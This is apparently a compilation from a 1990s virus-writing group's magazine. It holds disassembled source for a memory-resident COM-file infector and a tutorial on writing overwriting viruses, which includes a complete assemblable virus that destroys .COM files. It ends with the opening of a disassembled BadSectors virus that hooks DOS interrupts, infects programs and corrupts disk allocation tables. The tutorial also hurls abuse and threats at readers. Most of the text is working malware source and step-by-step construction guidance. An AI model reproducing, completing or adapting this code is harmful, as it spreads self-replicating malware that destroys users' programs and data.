   mov word ptr ds:size1mcb,4Fh            ;dimension of first block
   push ss
   push ss
   push ss
   mov si,ds:data_8e
   pop ds
   pop es                                  ;DS=SS=ES upper in memory
   mov dx,psplength
   mov ah,1Ah                              ;set DTA to ds:80h
   int 21h
   mov di,100h
   add si,di
   mov cx,1F4h
   cld                                     ;clear direction
   push di                                 ;offset for RETF (100h)
   mov word ptr cs:[di],1ebbh              ;'mov bx,11eh' rebuild code
   rep movsw                               ;activate un-infected program
   push cs
   pop ds                                  ;DS=CS=seg of vir resident
   mov word ptr ds:psplength,0FF00h
   inc flag
   mov ax,3509h                            ;get INT 09h interrupt vector
   int 21h
   mov word ptr ds:[1D1h],bx               ;config original call
   mov word ptr ds:[1D3h],es
   mov dx,offset int9handler
   mov ax,2509h                            ;set new handler for INT 09h
   int 21h
   
   mov ax,3521h                            ;get INT 21h interrupt vector
   int 21h
   mov word ptr ds:[30Eh],bx               ;config original JMP
   mov word ptr ds:[310h],es
   mov dx,offset int21handler
   mov ax,2521h                            ;set new handler for INT 21h
   int 21h
   push ss
   push ss
   pop es
   pop ds
   xchg bp,ax
   retf                                     ;return far

int9handler proc far
   pushf                                    ;push flags
   db 9Ah                           ;code of 'call far' original INT 09h
   dw 45h,3EBh                              ;'0F17:0124'
   push ax
   mov ah,1
   int 16h                                  ;keyboard I/O if zf=0 al=char
   jnz char                                 ;jump if not zero
leave_int9:
   pop ax
   iret                                     ;leave interrupt 9
int9handler endp

char:
   sti                                      ;enable interrupts
   or al,20h                                ;flip to lower case
   mov ah,cs:psplength
   xchg al,ah                       ;ah=read character,al=nr of characters
   cmp al,0
   jne full
   cmp ah,'j'                               ;test 'j' letter
   jne leave_int9
found:
   inc byte ptr cs:psplength                ;increase char contor
   pop ax
   iret

full:
   cmp al,1
   jne again
   cmp ah,'o'                               ;test 'o' letter
   je found
dontfit:
   mov byte ptr cs:psplength,0
   pop ax
   iret
again:
   cmp al,2
   jne again2
   cmp ah,'s'                               ;test 's' letter
   je found
   jnz dontfit
again2:
   push ds                                  ;save registers
   push es
   push si
   push di
   push cx
   xor ax,ax
   mov es,ax
   push cs
   pop ds
   mov di,41ah                      ;address of keyboard buffer head
   mov si,offset written
   mov cx,0Bh
   nop
   cli                                      ;disable interrupts
   cld                                      ;clear direction
decod:
   lodsb                                    ;string [si] to al
   xor al,0A5h                              ;decrypt with xor 0a5h
   stosw                            ;fill keyboard buffer with 'jos'
   loop decod

   sti                                      ;enable interrupts
   pop cx                                   ;restore registers
   pop di
   pop si
   pop es
   pop ds
   jmp short dontfit

   db 'JABBERWOCKY (',2,')'
message   db ', the first Romanian Political Virussian'
          db 27h,0,12h,0,17h,0,45h                     ;'Beware'
          db 11h,0Dh,0,45h                             ;'the'
          db 2Fh,4,7,7,0,17h,12h,0Ah,6,0Eh,49h,45h     ;'Jabberwock, '
          db 8,1Ch,45h                                 ;'my '
          db 16h,0Ah,0Bh,44h                           ;'son!'
          db 68h,6Fh                                   ;<CR>+<LF>
          db 45h,31h,0Dh,0,45h                         ;' The '
          db 0Fh,4,12h,16h,45h                         ;'jaws '
          db 11h,0Dh,4,11h,45h                         ;'that '
          db 7,0Ch,11h,0,49h,45h                       ;'bite, '
          db 11h,0Dh,0,45h                             ;'the '
          db 6,9,4,12h,16h,45h                         ;'claws '
          db 11h,0Dh,4,11h,45h                         ;'that '
          db 6,4,11h,6,0Dh,44h                         ;'catch!'
          db 68h,6fh                                   ;<CR>+<LF>
          db 68h,6fh                                   ;<CR>+<LF>
          db 68h,6fh                                   ;<CR>+<LF>
          db 24h,0Bh,1,45h                             ;'And '
          db 0Dh,4,16h,11h,45h                         ;'hast '
          db 11h,0Dh,0Ah,10h,45h                       ;'thou '
          db 16h,9,4,0Ch,0Bh,45h                       ;'slain '
          db 11h,0Dh,0,45h                             ;'the '
          db 2Fh,4,7,7,0,17h,12h,0Ah,6,0Eh,5Ah         ;'Jabberwock?'
          db 68h,6fh                                   ;<CR>+<LF>
          db 45h,26h,0Ah,8,0,45h                       ;' Come '
          db 11h,0Ah,45h                               ;'to '
          db 8,1Ch,45h                                 ;'my '
          db 4,17h,8,16h,49h,45h                       ;'arms, '
          db 8,1Ch,45h                                 ;'my '
          db 7,0,4,8,0Ch,16h,0Dh,45h                   ;'beamish '
          db 7,0Ah,1Ch,44h                             ;'boy!'
          db 68h,6fh                                   ;<CR>+<LF>

int21handler proc far
   cmp ah,4Bh                               ;test DOS Fn 4bh (execute)
   je loadgo
loadovl:
   db 0eah
   dw 0C11h,1531h
loadgo:
   cmp al,3                                 ;test load OVL program
   je loadovl
   cmp al,0
   je exec
   cmp al,0FFh
   jne continue
   mov di,55AAh                             ;return signature in DI=5aah
   iret
int21handler endp

continue:
   cmp al,0FEh                         ;function of residency test in memory
   jne loadovl
   mov ah,51h                       ;DOS function=get active PSP seg in bx
   int 21h

   push ds
   push es
   mov ds,bx
   mov es,bx                                ;ES=DS=seg of active PSP
   cld                                      ;clear direction
   sti                                      ;enable interrupts
   mov si,ds:filelength                     ;si=file length
   mov di,100h                              ;from 100h
   add si,di
   mov cx,1F4h                              ;how many bytes to copy
   rep movsw
   pop es
   pop ds
   xchg bp,ax
   iret                                     ;leave INT 21h

com_check:
   cmp word ptr [di-4],'FA'                 ;test '...AF?.COM'
   je term
   cmp word ptr [di-4],'SS'                 ;test '...SS?.COM'
   jne loc_20
   cmp byte ptr [di-2],'T'                  ;test '...SST.COM'
   jne loc_20
   jz serr
not_com:
   mov byte ptr cs:dosmsg,0Bh               ;COM=invalid format
   cmp word ptr [di-3],'VC'                 ;test '...CV.???'
   je serr
   cmp word ptr [di-3],'DT'                 ;test '...TD.???'
   je serr                                  ;for debuggers
   jnz loc_20
exec:
   push ds                                  ;save registers
   push es
   push si
   push di
   push bp
   push dx
   push cx
   push bx
   mov di,dx
   mov cx,5Ah                               ;scan max 90 bytes
   mov al,0                                 ;search marker 0
   push ds
   pop es                           ;ES:DI=address of file_name ASCIIZ
   cld                                      ;clear direction
   repne scasb
   sub di,4                                 ;poz on file extension
   mov byte ptr cs:dosmsg,8                 ;message: 'insuf. memory'
   cmp word ptr [di],'OC'                   ;check if COM
   jne not_com
   cmp word ptr [di-4],'SF'                 ;test '...FS?.COM'
   jne com_check
term:
   cmp byte ptr [di-2],'D'                  ;test FSD.COM or AFD.COM
   jne loc_20
serr:
   pop bx                                   ;restore registers
   pop cx
   pop dx
   pop bp
   pop di
   pop si
   pop es
   pop ds
   pop bx
   pop ax
   popf                                     ;pop flags
   push ax
   push bx
   stc                                      ;set carry flag
   mov ax,cs:dosmsg
   retf                                     ;return far

loc_20:
   mov si,di
   sub si,8
   mov cx,3
   repe cmpsb                       ;rep zf=1+cx >0 Cmp [si] to es:[di]
   jz ldovl
   mov word ptr cs:filename+2,ds
   mov cs:filename,dx
   mov ax,3D00h                             ;DOS function=open file for read
   int 21h
   jc ldovl
   mov bx,ax                                ;save file handle in BX
   mov ax,5700h                             ;DOS function=get file time/date
   int 21h
   push cs
   pop ds
   mov ds:filetime,cx                       ;save file time
   mov ds:filedate,dx                       ;save file date

   mov ah,3fh                               ;DOS function=read from file
   mov dx,buffer                            ;save in buffer
   mov cx,2                                 ;read 2 bytes
   int 21h
   jc closefile                             ;if error then close file

   cmp ax,cx                                ;have we read 2 bytes?
   jne closefile                            ;nope! close the fucking file!
   cmp word ptr ds:buffer,'ZM'              ;check if is EXE
   je closefile                             ;EXE found! close it quick!
   cmp word ptr ds:buffer,1EBBh             ;code of 'mov bx,11eh'
   je closefile                             ;found? then close the file

   mov ax,4202h                             ;DOS function=set file pointer
   xor cx,cx                                ;move to end of file
   xor dx,dx
   int 21h
   test dx,dx
   jnz closefile                            ;error ocured! close file!
   cmp ax,0BB8h                             ;is file to small? (0BB8h=3000)
   jbe closefile                            ;I'm afraid so... close it!
   cmp ax,0F618h                    ;is the file to big? (0F618=63000)
   jbe infect                               ;nope! we can infect it...:)

closefile:
   mov ah,3Eh                               ;DOS function=close file
   int 21h
ldovl:
   pop bx                                   ;restore registers
   pop cx
   pop dx
   pop bp
   pop di
   pop si
   pop es
   pop ds
   mov ax,4B00h
   jmp loadovl
infect:
   mov ds:filelength,ax                     ;file length
   mov ah,3Eh                               ;DOS funcion=close file
   int 21h

   lds dx,dword ptr ds:filename             ;DS:DX=file name
   mov ax,4300h                     ;DOS function=get file attributes
   int 21h
   mov cs:fileattr,cx                       ;save file attributes
   test cl,7                                ;test for 'sys/hid/read-only'
   jz neprot                        ;if not one of those then move on

   mov ax,4301h                             ;DOS function=set new file attr
   xor cx,cx                                ;cx=0 => normal file
   int 21h
   jc closefile                             ;if error then close file
neprot:
   mov ax,3d02h                             ;DOS function=open file for r/w
   int 21h
   jc closefile                             ;if error then close file
   xchg bp,ax                               ;save file handle in bp

   mov bx,3Fh                               ;number of bytes to alloc
   mov ah,48h                               ;DOS function=allocate memory
   int 21h
   jc closefile                             ;if error then exit
   mov bx,bp
   mov ds,ax                        ;DS=seg address of allocated mem
   mov cs:segaloc,ax
   xor dx,dx
   mov si,3E8h
   mov cx,si                                ;cx=virus length (3e8h=1000)
   mov ah,3Fh                               ;DOS function=read from file
   int 21h
   jc ioerror                               ;if error then jmp to ioerror

   xor cx,cx                                ;seek to end of file
   xor dx,dx
   mov ax,4202h                             ;DOS function=set file pointer
   int 21h

   mov ah,40h                               ;DOS function=write to file
   mov cx,si                        ;si=cx=3e8h=1000=vir_length=...:)
   int 21h
   jc ioerror                               ;if error then jmp to ioerror

   mov ax,4200h                             ;DOS function=set file pointer
   xor cx,cx                                ;seek to beginning of file
   xor dx,dx
   int 21h

   push cs
   pop ds
   mov cx,si                                ;cx=virus length
   mov dx,100h                              ;write from beginning (100h)
   mov ah,40h                               ;DOS function=write to file
   int 21h
ioerror:
   mov es,ds:segaloc                        ;es=segment
   mov ah,49h                               ;DOS function=free memory block
   int 21h

   mov ax,5701h                             ;DOS function=set file time/date
   mov cx,ds:filetime                       ;restore saved file time
   mov dx,ds:filedate                       ;restore saved file date
   int 21h

   mov ah,3Eh                               ;DOS function=close file
   int 21h

   mov cx,ds:fileattr                       ;cx=old file attributes
   mov ax,4301h                     ;DOS function=set file attributes
   lds dx,dword ptr cs:filename             ;DS:DX=name of file
   int 21h
   jmp	ldovl

written	db 0BBh                     ;adress of "Head"
        db 95h                      ;adress of "Tail"
        db 85h,0ECh,0E9h,0ECh,0E0h,0F6h,0E6h,0F0h,85h      ;' ILIESCU '
flag    dw 0Dh
dosmsg	dw 8
        db 'Release date 12-22-1990'
        db 19000 dup (0B0h)         ;original prog.code
        db 0B4h, 4Ch,0CDh, 21h
        db 996 dup (0B0h)

code ends
end virus_start
 --------------------------------- cut here ----------------------------------

                                Virtual Daemon
                Viral Development Researcher & Virii Colector
                          Member of SLAM Virus Team
                            Network Administrator
                      E-mail: virtual_daemon@hotmail.com
           Web: http://www.geocities.com/SiliconValley/Heights/3334
            " OverWritting Virii: The perfect choice for beginners "

                   by Virtual Daemon of SLAM Virus Team

 Hi there! The reason why I'm writting this little tutorial is because
 there are some dumb heads out there who don't know how to use my OVCT...
 FUCK YOU LAMERS! I don't know why I'm wasting my time with you...
 There are so many guys that doesn't know what is a virus... God! We must
 stop this... We give to the public so many goodies (like stealth or
 polimorfic virii, or macro virii, or ...etc), and they don't know to make
 an overwritting virus... That's pathetic! ;-( All they know, is that they
 must take all the source we give it to them, modify it and put their
 stupid fucking names in our virii! And of course, we're saying that they
 will just start by stealing and that they'll learn from it, but not even
 2% of all don't do that. The 98% are just waiting for us to give them more
 sources, so they can modify them more and spread them around saying that
 they made that virus... I'm sick of that! ;-(

 I can write a whole book about lamers stealing others virii (mine too),
 but this was supposed to be a overwritting tutorial not a ... :)

 Anyway, now that OVCT was officially released in SLAM#2, I've gotta do
 this for those poor guys... maybe this way they'll learn something!

 In this phile I'll try to explain what are the steps in creating a
 overwritting virus, and at the end of the file I'll give some source code

 examples...

 Let's begin with the beginning!

Q: What is an overwritting virus?

R: An overwritting virus is a virus that when reproducing will infect the
  victim by overwritting the first part of the program with itself.

   ex. PROGRAM + VIRUS = VIRUSAM

Q: What do I need to make an overwritting virus?

R: In the first place you need to have a copy of a programming language.
 Overwritting virii can be done in many languages such as: Pascal, C, Asm,
 Basic etc., BUT the best language from all this is Assembler. Of course
 there are many Assembler-style languages out there, but the best of all
 is Turbo Assembler from Borland, Inc. So, if you don't have a copy,

 GET ONE! Hey, when I said "get one", I ment "buy one" not "STEAL ONE"! ;)

 In the 2nd place you need to know how to code in one of the languages
 listed above. Since this tutorial requires assembler skills, I suggest
 you to learn assembler, because this is the best language for creating
 virii. If you don't know how to code in assembler I SUGGEST YOU TO GET
 OUT OF HERE, AND START LEARNING ASSEMBLER! I'm not gonna teach you how
 to code in assembler...

Q: What is the structure of an overwritting virus?

R: Well, it's quite simple... First you need to find a file to infect it,
 right? Ok. After the file was found you need to open it for reading and
 writting. Has the file been opened? Good, now you can do all that stuff
 like verifying if already infected or you can just simply write your virus
 to the file. After virus was written, you need to close the file, and then
 to return to the operating system (DOS).

 Well, that's all! Simple, ha'?

 Ok. Now let's take it again, this time different:

 1) Find a file to infect
 2) Open the file
 3) Write your virus to file
 4) Close the file
 5) Exit

    REMEMBER that this is the simplest structure of an overwritting virus,
    so for more stuff check out the sources generated by OVCT!!!

Q: What are the DOS functions which I can use in creating a overwritting
  virus?

R: Like you've seen before, there are 5 steps in creating a simple
 overwritting virus. I'll take the steps again, this time with the related
 function...

 1) Find a file to infect

 - to find a file, you must use the 4Eh function (Find 1st Matching File)
   Input:
         AH = 4Eh
         DS = SEGMENT ADRESS OF ASCIIZ FILESPEC TO FIND
         DX = OFFSET  ADRESS  ---------- " " ----------
         CX = FILE ATTRIBUTES

   Returns:
         AX = ERROR CODE IF CF IS SET TO CY
         DTA FILLED WITH DATA IF NO ERROR (DTA = Disk Transfer Adress)

   Simple code:
         mov ah,4eh             ;find 1st file
         mov cx,0               ;cx=0 => normal attributes
         mov dx,offset file     ;this will put in DS:DX the adress of file
         int 21h

   file  db '*.com',0           ;this means that will search for every file
                                ;with the COM extension

  Like I said after this code will execute the DTA will be filled with
  data, but first let's see what is the structure of this DTA:

   Disk Transfer Adress
   *------------------*

   Offset � Size � Contents of DTA
   �������������������������������
     0h   �  21  � reserved
    15h   �   1  � file attributes
    16h   �   2  � file creation time
    18h   �   2  � file creation date
    1ah   �   4  � file size
    1eh   �  13  � 13 byte ASCIIZ of the file name

  Note: the size is given in bytes, so in assembler one byte value can be
  represented with 'db',2 bytes value with 'dw',4 bytes value with 'dd'...

    ex. file_attributes  db ?
        file_time        dw ?
        file_size        dd ?

  You also must understand that the DTA lies in PSP (Program Segment
  Prefix) - the first 100h bytes infront of COM files. It's adress is
  at 80h. For complex virii, you must move the DTA at another location
  so you wont have to fuck the PSP. Anyway since we're talking about
  overwritting virii, that's not important.
  All we have to do after we found a file is to take it's name from DTA,
  because the following function (open) will need the file name. Like I
  said the DTA is at 80h. The file name is at 1eh in DTA, so all you have
  to do is to add 1eh to 80h, and 'voil�!'

    ex. file_name=80h+1eh=9eh

 2) OPEN THE FILE

 - to open a file, you can use the 3Dh function (Open a File Handle)
   Input:
         AH = 3Dh
         DS = SEGMENT ADRESS OF ASCIIZ FILENAME (our file name)
         DX = OFFSET  ADRESS  ------------ " " ----------------
         AL = OPEN MODE

            -> 01h FOR READING
            -> 02h FOR WRITTING
            -> 03h FOR READING & WRITTING

   Returns:
            AX = ERROR CODE IF CF IS SET TO CY
                 ELSE FILE HANDLE

   Simple code:
   ;- the following 2 istructions can be replaced with "mov ax,3d02h"

         mov ah,3dh             ;open the file
         mov al,02h             ;for reading & writting
         mov dx,9eh             ;get file name from DTA
         int 21h

   Note: the file handle is now in AX, but if we have a look bellow at the
   other functions, we see that all of them needs the file handle in BX,so
   we have to change the BX register with AX.

      ex: xchg bx,ax            ;this can be done also with "mov bx,ax"

 3) WRITE THE VIRUS TO FILE

 - in order to write something to a file, you must use the 40h function
  (Write to File via Handle)

   Input:
         AH = 40h
         BX = FILE HANDLE (this is why we changed the BX with the AX reg)
         DX = OFFSET OF ADRESS OF THE BEGINNING OF VIRUS
         CX = NUMBER OF BYTES TO WRITE

   Returns:
         AX = ERROR CODE IF CF IS SET TO CY
              ELSE NUMBER OF BYTES ACTUALLY WRITTEN <- USE FOR ERROR TESTS

   Simple code:
         mov ah,40h                                   ;write the virus
         mov dx,offset virus_start                    ;buffer to write
         mov cx,offset virus_end - offset virus_start ;size of virus
         int 21h

  4) CLOSE THE FILE

  - for closing the file, you must use the 3eh function (Close a File via
    Handle)
    Input:
          AH = 3Eh
          BX = FILE HANDLE

   Returns:
          AX = ERROR CODE IF CF IS SET TO CY

   Simple code:
          mov ah,3eh             ;close the file
          int 21h

  5) Exit

  - the simplest part
    Here you can use 2 methods:

     a) int 20h
     b) mov ah,4ch
        int 21h

   The both methods do the same thing: they terminate a program and return
   to the operating sytem. Since the first one is smaller, I suggest using
   that one.

Q: Now that I have all the informations how can I put them all together?

R: GOD! If you're still asking me this after everything I showed you then
  you really suck! You're the biggest lamer! But... since I'm a good person
  I'll show you this too... ;-)

�������������������������������������������į cut here

; Virus Name: Lamer
; Virus Author: You
; To assemble use: tasm lamer.asm
;                  tlink /t lamer.obj
; (of course this expect that you'll cut & paste this code into a file
; called lamer.asm ;-)

code segment

assume cs:code,ds:code

       org 100h       ;for COM files

virus_start:

       mov ah,4eh               ;find first file
       mov cx,cx                ;cx=0 => normal files
       mov dx,offset filespec   ;ASCIIZ adress of what to search for
       int 21h

       mov ax,3d02h             ;I explained this to ya earlier ;)
       mov dx,9eh               ;get file name from DTA
       int 21h

       xchg bx,ax               ;put file handle in bx

       mov ah,40h               ;write the virus to file
       mov dx,offset virus_start       ;buffer containing data to write
       mov cx,offset virus_end - offset virus_start       ;size of virus
       int 21h

       mov ah,3eh               ;close the file
       int 21h

       int 20h                  ;return to DOS

filespec   db '*.com',0
virus_end:
code ends

end virus_start

�������������������������������������������į cut here

 Well, that's it! You've just learned how to create your first virus (I
 hope! ;-) If you don't understand this then GET LOST! There's no place
 for you in this life...:)

 About OVCT (Overwritting Virus Construction Toolkit):

 I made that shit not because I don't know to do anything else... I made
 it for you! Yes, for you "dear friend", so you can learn how to create
 some virii. When you think you're smart enough to create & understand
 non-overwritting virii or TSR virii, then you can use my VCT (Virus
 Construction Toolkit) wich will generate non-overwritting runtime
 or TSR virii. Of course the generated virii will be stealth, encrypted,
 anti-debugger, polymorfic, etc. I think that the 1st version of VCT
 will be released during this summer (the summer of 1997). For more info
 about all this check the OVCT.DOC from OVCT Distribution kit, or read the
 SLAM Magazine...

 Did you get all that? Anyway, I don't wanna see lamers "playing" with
 my kit, and releasing virii or spreading them to others computers!!!
 (I think this is one of the many reasons why I didn't included bombs in
 OVCT :). If I'm gonna see a virus created with OVCT in the field, and if
 I'll hear reports from people who got their comptures infected with virii
 created with OVCT, YOU CAN SAY GOODBYE TO YOUR LIFE, LAMER, BECAUSE
 I'M COMING TO GET YA'!!! Btw: I'm not only a virus writter, I'm a GOD DAMN
 GOOD HACKER TOO!!! So, you'll hear from me... ;-)

 Game over... Uh,uh .. I mean, I think this is the end of this shit...

P.S. If any of this informations helped any one in any way (not negative)
 creating a virus, please let me now by sending me a e-mail. And, if
 you're really oughnest with me, you'll get a special prize like the
 source to my latest virus :) :) :)! And believe me, you'll want it!

Greetz:
������
   - to all the SLAM mebers
   - Dark Angel: you were the best!
   - Cicatrix: I love your VDAT!!! :)
   - and to everybody else who is related to virus scene

                                Virtual Daemon
                Viral Development Researcher & Virii Colector
                          Member of SLAM Virus Team
                            Network Administrator
                      E-mail: virtual_daemon@hotmail.com

      �������������������������������������������������������������Ŀ
      �   BadSectors Virus Dissasembled by Virtual Daemon of SLAM   �
      ���������������������������������������������������������������

 Virus Name: Bad Sectors 1.2
 Aliases: BadSectors.3428
 Virus Author: ?
 Virus Type: Parasitic Resident COM & EXE Infector
 Virus Size: 3,428 bytes (COM & EXE)
 Coments:
   BadSectors 1.2 is just a new version of the BadSectors 1.1 virus. In
 my opinion this is one of the coolest virii out there... I don't really
 know who's the author of this, but I know that the guy had a lot of
 imagination when he did this. Well, the only thing that's missing in here
 is a cool encryption algorithm or a mutation engine and some anti-virus 
 or anti-debugger routines.
   When a program is executed, BadSectors will install itself memory
 resident at the top of memory but bellow the 640K DOS boundary, moving
 interrupt's 12 return. The virus hooks interrupts 08h, 16h, 21h, 24h,
 25h and 26h!
   The "BadSectors" name derive from the fact that the virus after a nr.
 of infections will set the disk clusters as bad clusters by FAT sectors
 manipulation. By hooking Int 16h BadSectors make jokes with the keyboard.
   The BadSectors virus restore file time/date/attributes. Infections can
 be done via 4b00h (exec), 3d00h (open file), 56h (rename/move). The
 virus intercepts also the 11h/12h and 4eh/4fh and will infect a file
 everytime this functions are called. The virus have Int24h handler for
 ignoring errors. BadSectors will not infect SCAN.* files.

--------------------------------- cut here ----------------------------------
MCBtype         equ 0
MCBsize         equ 3
memtop          equ 12h
totalmem        equ 413h
timertick       equ 46Ch
filehandle      equ 0d70h
newlowlng       equ 0d72h
newhighlng      equ 0d74h
transfaddr      equ 0d76h
transfaddr1     equ 0d77h
transfaddr2     equ 0d78h
signpointer     equ 0d7ah
hdrsize         equ 0d7eh
relossfile      equ 0d84h
exesp           equ 0d86h
totsecs         equ 0d89h
exeIPfile       equ 0d8ah
relocs          equ 0d8ch
diskmark1       equ 0d9ch
diskmark2       equ 0db0h
newDTA          equ 0f76h
DTAfilename     equ 0f94h
DTAofs          equ 0fa2h
filename        equ 0fa6h
filepointer     equ 0ff6h
filetype        equ 0ff8h
filetimestamp   equ 0ff9h
filedatestamp   equ 0ffbh
fileattribute   equ 0ffdh
semaphor        equ 0fffh
firstcounter    equ 1000h
drivenumber     equ 1002h
ressecs         equ 1003h
fatcnt          equ 1005h
fatsize         equ 1006h
ressecscopy     equ 1008h
fatFLAG         equ 100ah
DOScounter      equ 100ch
drivestable     equ 100dh
dosversion      equ 1041h
scanASCIIchr    equ 1043h
savefilename    equ 1045h
fileofs         equ 1095h
fileseg         equ 1097h
savefpointer    equ 1099h
sectsiz         equ 109bh
secondcounter   equ 109dh
blocklength     equ 1140h
sspointer       equ 5
sppointer       equ 7
terminaddr      equ 9

code segment byte public
assume cs:code,ds:code
   org 100h               ;will be compiled as a COM file

entryroutine proc far
virus_start:
   mov ax,cs
   add ax,(offset newseg-virus_start+100h)/16
   push ax                ;form new entry segment
   mov  ax,offset entryaddress - newseg
   push ax                ;form new entry offset
   retf

;���������� Original program ����������
   db 4991 dup(90h)
   db 5005 dup(0)
   db 60h,71h,0eh,0abh,2,39h
   db 25h,0,0
;���������� Begin of TSR part in Top Memory ����������
TSRpart db 'BadSectors 1.2'
int21_offset  dw 311h            ;original Int 21h offset
int21_segment dw 0f9fh           ;original Int 21h segment
int08_offset  dw 0fea5h          ;original Int 08h offset
int08_segment dw 0f000h          ;original Int 08h segment
int16_offset  dw 0e82eh          ;original Int 16h offset
int16_segment dw 0f000h          ;original Int 16h segment
int1B_offset  dw 750h            ;original Int 1Bh offset
int1B_segment dw 70h             ;original Int 1Bh segment
int24_offset  dw 556h            ;original Int 24h offset
int24_segment dw 0ea7h           ;original Int 24h segment
int25_offset  dw 15dch           ;original Int 25h offset
int25_segment dw 23ah            ;original Int 25h segment
int26_offset  dw 161fh           ;original Int 26h offset
int26_segment dw 23ah            ;original Int 26h segment
;���������� INT 21h Handler ����������
int21handler:
   cmp ah,34h             ;DOS function = DOS Reentrancy Status address
   jnz not34func
   jmp reentrstatus
not34func:
   inc byte ptr cs:DOScounter
   cmp ax,4b00h           ;DOS function = Execute or Load a Program - EXEC
   jne not4bfunc
   jmp loadandgo
not4bfunc:
   cmp ax,3d00h           ;DOS function = Open a File Handle
   jne not3dfunc
   jmp loadandgo
not3dfunc:
   cmp ah,4eh             ;DOS function = Find 1st Matching File
   jne not4efunc
   jmp find1stfile
not4efunc:
   cmp ah,4fh             ;DOS function = Find Next Matching File
   jne not4ffunc
   jmp findnextfile
not4ffunc:
   cmp ah,11h             ;DOS function = Find 1st Matching File via FCB
   jne not11func
   jmp find1stFCBfile
not11func:
   cmp ah,12h             ;DOS fucntion = Find Next Matching File via FCB
   jne not12func
   jmp findnextFCBfile
not12func:
   cmp ah,56h             ;DOS function = Rename/move a File
   jne exit_handler
   jmp loadandgo
exit_handler:
   dec byte ptr cs:DOScounter
   jmp dword ptr cs:[offset int21_offset-TSRpart]   ;return to orig INT 21h
entryroutine    endp

;���������� Subroutine = Get Error Handler and keyboard break
keybanderror proc near
   push ds
   xor ax,ax
   mov ds,ax
   mov si,6ch             ;Hook INT 1Bh Keyboard break
   mov di,(offset int1B_offset-TSRpart)
   cld
   movsw
   movsw
   cli
   mov word ptr [si-4],(offset entryI1B-TSRpart)
   mov [si-2],cs
   sti
   cmp byte ptr cs:[dosversion],3
   jb  DOSlowerverion
   mov si,90h             ;Hook INT 24H Critical Error Handler
   mov di,(offset int24_offset-TSRpart)
   movsw
   movsw
   cli
   mov word ptr [si-4],(offset int24handler-TSRpart)
   mov [si-2],cs
   sti
DOSlowerverion:
   pop ds
   retn
keybanderror endp

;����������  Subroutine = restore keyb. break and error handler
restorekeyberr proc near
   push	es
   xor ax,ax
   mov es,ax
   mov si,(offset int1B_offset-TSRpart)
   mov di,6ch             ;Restore INT 1Bh Keyboard break
   cld
   cli
   movsw
   movsw
   sti
   cmp byte ptr cs:[dosversion],3
   jb DOSless300
   mov si,(offset int24_offset-TSRpart)
   mov di,90h             ;Restore INT 24H Critical Error Handler
   cli
   movsw
   movsw
   sti
DOSless300:
   pop es
   retn
restorekeyberr  endp

;���������� Subroutine = test if letter in [a..z] range and capitalize it
toupper proc near
   cmp al,'a'
   jb charnotcorrect
   cmp al,'z'
   ja charnotcorrect
   and al,0dfh            ;capitalize letter
charnotcorrect:
   retn
toupper endp

extensions   db 'COMEXE'

;���������� Subroutine = test if COM or EXE file extension
comexetester proc near
   cmp ah,0
   je loadgofile
   mov dx,DTAfilename
   mov cx,0dh             ;file name length
   jmp short openfile
loadgofile:
   mov dx,filename
   mov cx,50h             ;maximum 80 char.complete path
openfile:
   cld
   mov al,0
   mov di,dx
   repne scasb
   jnz errornotASCIIZ
   sub di,2               ;pointer on the end of string
   mov al,'.'
   mov cx,4               ;search '.' of file extension
   std
   repne scasb            ;pointer on the extension marker
   jnz errornotASCIIZ
   add di,2               ;pointer to the first extension char
   mov si,(offset Extensions-TSRpart)
   mov al,0
   cld
otherextension:
   push si
   push di
   mov cx,3
   repe cmpsb
   pop di
   pop si
   jz extensionfound
   add si,3
   inc al
   cmp al,2               ;pass to the EXE extension search
   jb otherextension
errornotASCIIZ:
   stc
   jmp short exitproc
   nop
extensionfound:
   clc
exitproc:
   retn
comexetester endp

;���������� Subroutine = scan for the begin of file name
searchfilename proc near
   mov di,filename
   cld
   xor al,al
   mov cx,50h
   repne scasb            ;search end of string ASCIIZ
   mov si,di
   dec si                 ;si pointer at the end of string
   std
   mov bx,3a5ch
nextchr:
   lodsb
   cmp al,bl              ;'\' for first \ from the end
   je foundit
   cmp al,bh              ;':' for drive
   je foundit
   cmp si,filename
   jae nextchr
   dec si
foundit:
   mov di,si
   inc di
   inc di                 ;position on the first file character
   retn
searchfilename endp

wildcard   db '*.*',0

;���������� Subroutine = replace file name with *.*
anyfile proc near
   mov di,ds:[filepointer]
   mov si,(offset wildcard-TSRpart)
   cld
   mov cx,4
   rep movsb
   retn
anyfile endp

;���������� Subroutine = Find the current drive
getdrive proc near
   mov si,filename
   lodsw
   cmp ah,':'             ;test if drive letter present
   jne drivenotfound
   sub al,41h             ;find the drive number
   jmp short savedrive
drivenotfound:
   mov ah,19h             ;get DOS default disk
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
savedrive:
   mov ds:[drivenumber],al
   retn
getdrive endp

;���������� Subroutine = Get valid Drive
getvaliddrive proc near
   push si
   cmp byte ptr [si],-1
   je nextstep
   mov al,[si]
   jmp short not7
nextstep:
   mov al,[si+7]
not7:
   dec al
   cmp al,-1
   jne validdrive
   mov ah,19h             ;get DOS default disk
   pushf
   call  dword ptr cs:[offset int21_offset-TSRpart]
validdrive:
   mov cs:[drivenumber],al   ;save drive number
   pop si
   retn
getvaliddrive endp

;���������� Subroutine = test if DOS or mapped network drive
analysedrive proc near
   push ax
   push es
   cmp al,1ah             ;test if invalid drive number (> 26)
   jae signdrverror
   push	ax
   mov ax,0ef01h          ;get Drive Flag Table es:si
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   cmp ax,0
   je netdrive
   mov ah,52h              ;get DOS info es:bx
   pushf
   call dword ptr ds:[offset int21_offset-TSRpart]
   pop ax
   cmp al,es:[bx+20h]     ;test current drive with DOS info
   jae signdrverror       ;if drive not DOS available
   jmp short driveok
netdrive:
   pop bx
   mov bh,0
   cmp byte ptr es:[bx+si],80h      ;if mapped to local drive
   jne signdrverror
driveok:
   clc
   jmp short leaveroutine
signdrverror:
   stc
leaveroutine:
   pop es
   pop ax
   retn
analysedrive endp

;���������� Subroutine = Capitalize file name and store it
getfilename proc near
   push cs
   pop es
   mov di,FileName
   mov si,dx
   mov cx,50h             ;maximum 80 characters
   cld
nextchar:
   lodsb
   call toupper
   stosb
   loop nextchar
   retn
getfilename endp

;���������� Subroutine = Build the original file name
buildname proc near
   lodsb
   cmp al,-1
   jne remake
   add si,7
remake:
   cld
   mov cx,8
   push si
remakename:
   lodsb
   call toupper
   cmp al,' '
   je remakeextens
   stosb
   loop remakename
remakeextens:
   mov al,'.'
   stosb
   mov cx,3
   pop si
   add si,8
parseextens:
   lodsb
   call toupper
   cmp al,' '
   je endzero
   stosb
